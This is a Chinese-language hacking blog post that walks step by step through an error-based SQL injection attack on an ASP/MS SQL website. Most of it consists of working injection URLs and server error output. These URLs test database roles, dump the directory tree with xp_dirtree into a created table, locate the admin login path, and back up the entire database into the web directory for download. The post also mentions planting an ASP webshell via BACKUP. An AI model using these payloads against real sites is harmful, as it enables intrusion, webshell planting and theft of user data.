怪異的SQL注入

穩萊

怪異的SQL注入
SQL注入以獨特、新奇、變異的語句迎來了技術又一大突破,當然要針對奇、特這兩方面作文章,要達到一出奇招,必達核心!那才是SQL注入技術的根本所在。長期以來,MS SQL以它強大的存儲進程給我們帶來了極大的方便,而如今注入技術主要依靠IIS出錯與MS SQL系統提示資訊來判斷,那利用Select構造特殊語句,使系統出錯來得到我們要的更深入的資訊,如爆庫、爆表等,能不能取得詳細資訊呢?答案是能,但必出奇招!下麵我們一步步來拆解奇招!
首先打開MS SQL查詢分析器,輸入:
xp_dirtree適用權限PUBLIC
語句:exec master.dbo.xp_dirtree 'c:\'

 


返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。想到了什么?別急,我們繼續!
語句:create table dirs(paths varchar(100), id int)
作用:建表的語句,大家都熟悉吧?但這里建的表起到關鍵的作用!也就是和上面xp_dirtree相關連,字段相等、類型相同,為我們下一步操作作下鋪墊。再來,謎底就要揭曉!
語句:insert dirs exec master.dbo.xp_dirtree 'c:\'
作用:大家覺得奇怪吧?Insert語句這樣是不是有問題呢?NO!原理是只要我們建表與存儲進程返回的字段相定義相等就能夠執行!與常規Insert TABLE(COLOUMN) VALUES(VALUES)差別就是在此,VALUES值我們無法放置存儲進程,利用簡寫:insert dirs exec master.dbo.xp_dirtree 'c:\',而達到寫表的效果——既然可以寫表,那我們就可利用未公開存儲進程來一步步達到我們想要的信息!
上面的東西大家明白了嗎?不明白沒關系,過招在于實戰,實踐勝于理論,那我們就來過過招!實際看下!以下用一個網站作為基點作測試,注意:以下測試的權限非SA權限!
語句:http://www.xxxxx.com/down/list.asp?id=1'
 返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
字符串 '' 之前有未閉合的引號。
/down/list.asp,行21
  測試權限結構:
語句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--
語句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
語句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--
語句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
語句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
語句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--
語句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
語句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
語句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(Select IS_MEMBER('db_owner'));--
通過實際測試,只有DB_OWNER語句正常返回信息,可以確定連接數據庫擁有的權限是DB_OWNER(DOWN數據庫所有者),跳過爆庫爆表步驟,以前黑防講得很清楚,大家可以翻看臭要飯的《跨庫查詢你想怎么玩》,現在我們得到管理員的表和管理表資料,進一步得到權限有兩種方法:意思爆出所有字段,取管理后臺用戶密碼,難點在于找管理后臺路徑,是個體力活;另一個是通過BACKUP直接上傳WEBSHELL,難點在于尋找WEB目錄。
手工猜解管理后臺路徑的成功幾率很低,要用XP_DIRTREE來得到我們想要的信息,下面的方法或許要簡單一點!第一次公布出來,或許很多朋友在用,不過絕對非常好!我們把路徑寫到表里去!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!說明建表成功!繼續!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'--
返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 varchar 值 '@Inetpub' 轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同樣的方法測試得到網頁目錄放在E:\WEB下,得到網頁目錄后兩種選擇,一是進一步獲取網站管理后臺,另一個是通過BACKUP直接獲取WEBSHELL。監于BAKCUP獲取WEBSHELL的成功率并不是太高,我們先來猜猜它的管理后臺吧!這里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一個硬盤分區的目錄樹,讓我們容易混亂,所以就來一層層得到下級目錄吧:
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
經過反覆的爆字段,最后爆到一個xxxadminlogin目錄,一看就知道這個目錄可能就是我們夢寐以求的管理后臺目錄!壓抑住自己的興奮!我們繼續:
語句:http://http://www.xxxxx.com/down/xxxadminlogin/
顯示出登陸入口!GOOD!哈哈,幸運啊!有用戶、密碼,有登陸URL,還等什么?進去瞧瞧……
XP_DIRTREE存儲進程返回的只是目錄樹,我們無法得到文件樹。針對登陸入口在網站根目錄下的情況,根本就無從下手,而且相對來說,得到的目錄信息要根據人工去猜測判斷,所以要通過XP_DIRTREE取得管理后臺的登陸入口有著很強判斷性,也是非常考個人思維的地方。
再來說說寫入ASP木馬通過BACKUP得到WEBSHELL或是直接備份當前擁有權限的數據庫的辦法。寫入木馬使用臭要飯現成的GETWEBSHELL工具,很容易就得到一個WEBSHELL,為了進一步取得會員資料,直接手工備份整個庫到網頁目錄也是個好的辦法!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
  去下載吧!親愛的朋友們!嘿嘿。
本文介紹是一種變異寫表方法,沒有多少技術含量,只是給大家提供一種構造語句的思路。本文針對網站連接權限不是數據庫服務器角色組的成員,能為注入所利用的內置擴展存儲進程并不多,擴展的存儲進程涉及權限比較高的用戶才能訪問,所以說一個安全的網站與管理者對權限結構的合理分配是密不可分的,你注意到了嗎?

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.